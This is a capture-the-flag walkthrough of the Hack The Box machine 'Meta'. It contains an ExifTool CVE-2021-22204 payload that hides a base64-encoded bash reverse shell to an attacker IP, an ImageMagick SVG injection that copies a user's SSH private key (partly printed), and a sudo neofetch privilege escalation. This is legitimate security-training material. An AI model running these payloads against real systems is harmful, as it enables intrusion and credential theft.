Enumeration
As always, we start by scanning the target machine’s open ports:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
rustscan --ulimit 5000 meta.htb -- sV -sC -oN nmap_scan
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiNHVBq9XNN5eXFkQosElagVm6qkXg6Iryueb1zAywZIA4b0dX+5xR5FpAxvYPxmthXA0E7/wunblfjPekyeKg+lvb+rEiyUJH25W/In13zRfJ6Su/kgxw9whZ1YUlzFTWDjUjQBij7QSMktOcQLi7zgrkG3cxGcS39SrEM8tvxcuSzMwzhFqVKFP/AM0jAxJ5HQVrkXkpGR07rgLyd+cNQKOGnFpAukUJnjdfv9PsV+LQs9p+a0jID+5B9y5fP4w9PvYZUkRGHcKCefYk/2UUVn0HesLNNrfo6iUxu+eeM9EGUtqQZ8nXI54nHOvzbc4aFbxADCfew/UJzQT7rovB
| 256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEDINAHjreE4lgZywOGusB8uOKvVDmVkgznoDmUI7Rrnlmpy6DnOUhov0HfQVG6U6B4AxCGaGkKTbS0tFE8hYis=
| 256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINdX83J9TLR63TPxQSvi3CuobX8uyKodvj26kl9jWUSq
80/tcp open http syn-ack Apache httpd
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://artcorp.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We get back the following result showing that two ports are open:
- Port 22: OpenSSH 7.9p1
- Port 80: Apache httpd… And we also get the information, that this website immeditately redirects us to
http://artcorp.htb
. So let’s directly add it to the/etc/hosts
file.
Port 80 - Apache Server
After adding the hostname to our /etc/hosts file, we can now access the website:
The website itself does not provide any functionality, nor does the source code reveal any interesting information. Therefore, we initiate the next steps: directory and sub-domain discovery.
Directory Discovery
For the directory discovery, I usually use a tool called feroxbuster
.
1
2
┌──(kali㉿kali)-[~/HTB/machines/meta]
└─$ feroxbuster -u http://artcorp.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x html
However, apparently there are no additional directories or files.
Sub-Domain Discovery
For the subdomain discovery, I use the tool wfuzz
.
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/HTB/machines/meta]
└─$ wfuzz -Z -c -w /usr/share/wordlists/subdomains-5k.txt --hw 0 -H "Host: FUZZ.artcorp.htb" http://artcorp.htb
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001492: 200 9 L 24 W 247 Ch "dev01"
There we go! A subdomain called dev01
. Let’s add it to our /etc/hosts
file and investigate it.
Subdomain “dev01”
Accessing the subdomain website reveals the following information:
Following the link to MetaView, we see the following upload form:
Hmmm … interesting. Let’s see what this does. I simply downloaded the first jpg file I could find on google and uploaded it via the form.
Apparently, the functionality of this “service” is to display meta information of the uploaded file. That’s probably why the name of the machine is “meta”. It also looks very similar to the output of exiftool
My first idea was to get RCE via including PHP code in the meta information of the uploaded image. Let’s see if this works.
Meta Data Inclusion
Using exiftool
we can include additional meta-data to the image. Thus, I first wanted to test if the developers did not consider malicious meta-data (in form of PHP code). This can be done as following:
1
2
┌──(kali㉿kali)-[~/HTB/machines/meta]
└─$ exiftool -DocumentName='<?php echo "hello"; ?></h1>' image.jpg
However, when uploading the image, nothing happens. Looking at the source code, we immediately see why. Apparently, the developers were smart enough to validate the user-provided meta data and commented out my malicious meta data.
Hmmm…. I then wasted hours to find a way to bypass this until I was convinced that I cannot bypass it. But remember my first assumption? I said that this output looks super similar to the one of exiftool. Maybe the server-side code uses exiftool to output this information. Thus there could be an issue with the tool itself. Let’s do some research.
According to this article, exiftool is vulnerable to CVE-2021-22204, which can lead to RCE: “Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image.”
Initial Foothold
“To trigger the vulnerable function, we need to create a valid DjVu file that contains an annotation chunk with the payload that will be executed by the eval function as Perl code. To create this valid DjVu file, we used the tool djvumake , from the djvulibre toolkit. A toolkit for DjVu file manipulation.We will also use the tool bzz to compress our payload, then it will not be easily visible in the DjVu file. (in case someone try to inspect it)” https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/
So, using the provided PoC of the article, we can try to exploit the server-side exiftool. First we have to create our payload:
1
2
3
┌──(kali㉿kali)-[~/HTB/machines/meta]
└─$ cat payload
(metadata "\c${system('echo L3Vzci9iaW4vYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNy80NDQ0IDA+JjE= | base64 -d | bash')};")
The base64-string contains a bash-reverse shell which tries to establish a connection back to our attacker machine. Afterwards, we create the DjVu file and include it in the meta-data of our image:
1
vim payload && bzz payload payload.bzz && djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz && exiftool -config configfile '-HasselbladExif<=exploit.djvu' image.jpg
Finally, we start a nc listener and upload the image. And it works! We got a reverse shell as www-data.
Privilege Escalation - User Thomas
For privilege escalation, we follow the basic steps. Check for SUID binaries, check for capabilities, check for files in /var/www etc. The first two did not lead to anything, but there was an interesting directory located in /var/www/dev01.artcorp.htb
called convert_images
. As I could not figure out how this directory is used, I uploaded pspy64
and used it to obtain more information about the running processes:
Apparently the user with the id 1000 has a CRON job running which executes the script /usr/local/bin/convert_images.sh
A quick lookup on the id reveals that this user is our target user thomas
1
2
www-data@meta:/tmp$ id 1000
uid=1000(thomas) gid=1000(thomas) groups=1000(thomas)
Perfect! So let’s take a look at this script.
1
2
www-data@meta:/tmp$ ls -la /usr/local/bin/convert_images.sh
-rwxr-xr-x 1 root root 126 Jan 3 10:13 /usr/local/bin/convert_images.sh
Read and execute permissions. Great! So what does the script do?
1
2
3
#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify
Interesting. It cd
’s into the found convert_images
directory and executes mogrify
. Mogrify is a symlink to imagemagick. Let’s see if we can find some way to exploit this.
According to this article, the installed imagemagick version has a vulnerability which leads to RCE. Apparently, this specific version has a string escape vulnerablility which can be used to inject code.
The PoC shows, that we have to create a .svg
as follows: The code that we want to execute is: we copy the ssh private key of thomas to /dev/shm/test
1
2
3
4
5
6
7
8
9
<image authenticate='ff" `echo $(cat ~/.ssh/id_rsa)> /dev/shm/test`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:poc.svg" height="100" width="100"/>
</svg>
</image>
Afterwards, we copy the .svg
file into the convert_images
directory.
1
cp /tmp/test/poc.svg /var/www/dev01.artcorp.htb/convert_images/
And now we wait until the CRON job is run with our malicious file.
1
2
3
4
5
www-data@meta:/tmp/test$ ls -la /dev/shm/
total 8
drwxrwxrwt 2 root root 80 Jan 24 15:32 .
drwxr-xr-x 16 root root 3080 Jan 24 06:04 ..
-rw-r--r-- 1 thomas thomas 2590 Jan 24 15:31 test
There we go! This test file should contain the ssh private key of thomas
:
1
2
3
www-data@meta:/tmp/test$ cat /dev/shm/test
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAt9IoI5gHtz8omhsaZ9Gy+wXyNZPp5jJZvbOJ946OI4g2kRRDHDm5 x7up3z5s/H/yujgjgroOOHh9zBBuiZ1Jn1jlveRM7H1VLbtY8k/rN9PFe/MkRsYdH45IvV ....
Perfect! Now just copy-paste it to our attacker machine, adjust the format and use it to log in as thomas.
1
ssh -i thomas_ssh thomas@meta.htb
Privilege Escalation - User Root
Following the typical steps for priv escalation on linux, we get the following information:
1
2
3
4
5
6
thomas@meta:~$ sudo -l
Matching Defaults entries for thomas on meta:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=XDG_CONFIG_HOME
User thomas may run the following commands on meta:
(root) NOPASSWD: /usr/bin/neofetch \"\"
We are able to run /usr/bin/neofetch \"\"
as root and without any password! Great!
However, after experimenting for some time, I was pretty stuck here. Then I realized I overlooked something very important here…. The sudoers output clearly says env_keep+=XDG_CONFIG_HOME
. This means that the XDG_CONFIG_HOME env variable will be kept when we execute something as sudo. Great. But what does that mean? Well, the XDG_CONFIG_HOME is where user-specific configurations should be written to. This usually defaults to $HOME/.config
. If we look into $HOME/.config
, we can see a neofetch configuration.
1
2
3
4
5
thomas@meta:~/.config$ ls -la
total 12
drwxr-xr-x 3 thomas thomas 4096 Aug 30 13:01 .
drwxr-xr-x 5 thomas thomas 4096 Jan 25 10:07 ..
drwxr-xr-x 2 thomas thomas 4096 Dec 20 08:33 neofetch
So when we set the XDG_CONFIG_HOME to this directory, we can control the configs of the neofetch command which will then be executed as root.
Therefore, we first add a bash
or reverse shell
call to the config.
Afterwards, we manually define the XDG_CONFIG_HOME, as env
tells us that it’s currently not set.
1
thomas@meta:~/.config$ export XDG_CONFIG_HOME="$HOME/.config"
Finally, we execute the neofetch script with sudo:
Done! We are root.